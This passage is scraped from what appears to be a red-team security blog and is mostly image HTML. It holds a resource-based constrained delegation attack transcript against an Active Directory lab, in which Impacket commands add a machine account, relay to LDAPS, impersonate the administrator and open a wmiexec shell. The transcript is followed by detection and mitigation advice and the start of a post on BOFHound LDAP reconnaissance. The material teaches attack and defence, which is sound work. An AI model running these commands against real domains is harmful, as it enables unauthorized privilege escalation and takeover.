srcset="https://substackcdn.com/image/fetch/$s_!zLtW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 424w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 848w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 1272w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zLtW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png" width="1456" height="467" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:467,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!zLtW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 424w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 848w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 1272w, https://substackcdn.com/image/fetch/$s_!zLtW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F173a76fd-c46f-494c-9aca-0a1c45a12452_2038x654.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Attack Transcript</h4><pre><code><code># Add a machine account and modify msDS-AllowedToActOnBehalfOfOtherIdentity
python3 addcomputer.py ez.lab/user:pass -computer-name FORTALICE -computer-pass password
python3 rbcd.py ez.lab/user:pass -action write -delegate-to &#8216;WS1$&#8217; -delegate-from &#8216;FORTALICE$&#8217;

# Or use ntlmrelayx&#8217;s delegate access attack
python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --delegate-access

# Impersonate an admin to the target through S4U2Self and S4U2Proxy
# If this errors, try requesting a TGT with getTGT.py first, then using -k in the getST.py command
python3 getST.py ez.lab/&#8217;FORTALICE$&#8217;:pass -spn cifs/ws1.ez.lab -impersonate administrator

# Utilize the TGS
export KRB5CCNAME=/opt/impacket/examples/administrator.ccache
python3 wmiexec.py ez.lab/administrator@ws1.ez.lab -k -no-pass

# Cleanup RBCD modification after exploitation
python3 rbcd.py ez.lab/user:pass -action remove -delegate-to &#8216;WS1$&#8217; -delegate-from &#8216;FORTALICE$&#8217;

# Elevated privs will be needed to clean up the added machine account
python3 addcomputer.py ez.lab/administrator:pass -computer-name FORTALICE -delete</code>&#8205;</code></pre><h4>Detection and Mitigation</h4><ul><li><p>Set the domain&#8217;s <code>ms-DS-MachineAccountQuota</code> to 0, instead of the default value of 10. This can be done through the <em>ADSI Edit</em> application on a DC</p><ul><li><p>While not enough on its own, it will at least require the attacker to obtain control of a machine account through some other means than just simply adding one</p></li></ul></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!egZk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!egZk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 424w, https://substackcdn.com/image/fetch/$s_!egZk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 848w, https://substackcdn.com/image/fetch/$s_!egZk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 1272w, https://substackcdn.com/image/fetch/$s_!egZk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!egZk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png" width="1456" height="858" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:858,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!egZk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 424w, https://substackcdn.com/image/fetch/$s_!egZk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 848w, https://substackcdn.com/image/fetch/$s_!egZk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 1272w, https://substackcdn.com/image/fetch/$s_!egZk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1fbdc570-33e1-41fb-b9da-7fe47aade91e_1880x1108.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>Monitor for AD object modifications (event ID 5136 or 4662) where the attribute being modified is msDS-AllowedToActOnBehalfOfOtherIdentity</p></li><li><p>Mark privileged accounts as <em>Account is sensitive and cannot be delegated</em> in Active Directory</p><ul><li><p>This will cause the KDC to report a <em>KDC_ERR_BADOPTPION</em> error when requesting a TGS for the sensitive account through S4U functions</p></li></ul></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vuOS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vuOS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 424w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 848w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 1272w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vuOS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png" width="1456" height="537" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:537,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vuOS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 424w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 848w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 1272w, https://substackcdn.com/image/fetch/$s_!vuOS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01c24dfc-0b6c-49c4-b643-1be386c2a94c_2956x1090.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>Add privileged accounts to the <em>Protected Users</em> <a href="https://web.archive.org/web/20250514182614mp_/https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group">group</a> in Active Directory</p><ul><li><p>Membership in this group won&#8217;t prevent resource-based constrained delegation, but is a good protection measure in general</p></li></ul></li></ul><h4>References and Credits</h4><ul><li><p>https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd</p></li><li><p>https://blog.harmj0y.net/redteaming/another-word-on-delegation/</p></li><li><p>https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html</p></li><li><p>https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c</p></li><li><p>https://www.alteredsecurity.com/post/resource-based-constrained-delegation-rbcd</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Granularize Your Active Directory Reconnaissance Game Part 2]]></title><description><![CDATA[Last month Fortalice open-sourced BOFHound, an offline BloodHound ingestor for raw ldapsearch results.]]></description><link>https://blog.tw1sm.io/p/granularize-your-active-directory</link><guid isPermaLink="false">https://blog.tw1sm.io/p/granularize-your-active-directory</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Wed, 15 Jun 2022 18:54:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!T4st!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7bd72969-4bdd-4127-9de2-0458dc248b8d_2838x1196.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Last month Fortalice open-sourced <a href="https://web.archive.org/web/20250514174933mp_/https://github.com/fortalice/bofhound">BOFHound</a>, an offline BloodHound ingestor for raw ldapsearch results. Along with BOFHound, we released a companion tool for it, <a href="https://web.archive.org/web/20250514174933mp_/https://github.com/fortalice/pyldapsearch">pyldapsearch</a>, and submitted a <a href="https://web.archive.org/web/20250514174933mp_/https://github.com/trustedsec/CS-Situational-Awareness-BOF/pull/72">pull request</a> to TrustedSec&#8217;s CS-Situational-Awareness-BOF modifying the ldapsearch BOF to include the nTSecurityDescriptor attribute. Adam Brown (<a href="https://web.archive.org/web/20250514174933mp_/https://twitter.com/coffeegist">@coffeegist</a>) wrote a <a href="https://web.archive.org/web/20250514174933mp_/https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-game">post</a> accompanying the release, which covered much of the tool&#8217;s background, including blue team strategies for detecting BloodHound useful and the red team&#8217;s reversion to more manual LDAP querying techniques. This blog will serve as a follow-up to that post, covering some usage strategies for ldapsearch + BOFHound and going into the updates that were recently pushed to BOFHound in version 0.1.0.&#8205;</p><h4>ACL Mapping</h4><p>The initial release of BOFHound aimed to aid in visualizing manually queried LDAP data by parsing those results so that group memberships (<code>MemberOf</code> edges) and ACL relationships (edges such as <code>GenericAll</code>, <code>Owns</code>, <code>ForceChangePassword</code>) could be imported into BloodHound.</p><p>Let&#8217;s say your goal is to simply find abuse avenues over your target domain - you can start by issuing a simple LDAP query (using pyldapsearch or the ldapsearch BOF) with the filter <code>&#8216;(objectClass=domain)&#8217;</code>. Next, we&#8217;ll run BOFHound over the log file and parse that single domain object:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AmOb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AmOb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 424w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 848w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 1272w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AmOb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png" width="783" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/911fb410-0fed-4577-a791-f978d2ab398e_783x544.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:783,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!AmOb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 424w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 848w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 1272w, https://substackcdn.com/image/fetch/$s_!AmOb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F911fb410-0fed-4577-a791-f978d2ab398e_783x544.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Several JSON files will be written, which we&#8217;ll upload to BloodHound. Locating the domain object in the BloodHound GUI, we can head to the <em>Inbound Control Rights</em> section and click the number associated with <em>First Degree Controllers</em>. This will us a graph that looks something like this, where we can see objects (ones we haven&#8217;t queried) by their SIDs and their rights over the domain object.&#8205;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gEM-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gEM-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 424w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 848w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 1272w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gEM-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png" width="1456" height="673" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:673,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gEM-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 424w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 848w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 1272w, https://substackcdn.com/image/fetch/$s_!gEM-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7a212861-e3cb-42fb-bf7a-7b7e8f70b569_2698x1248.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 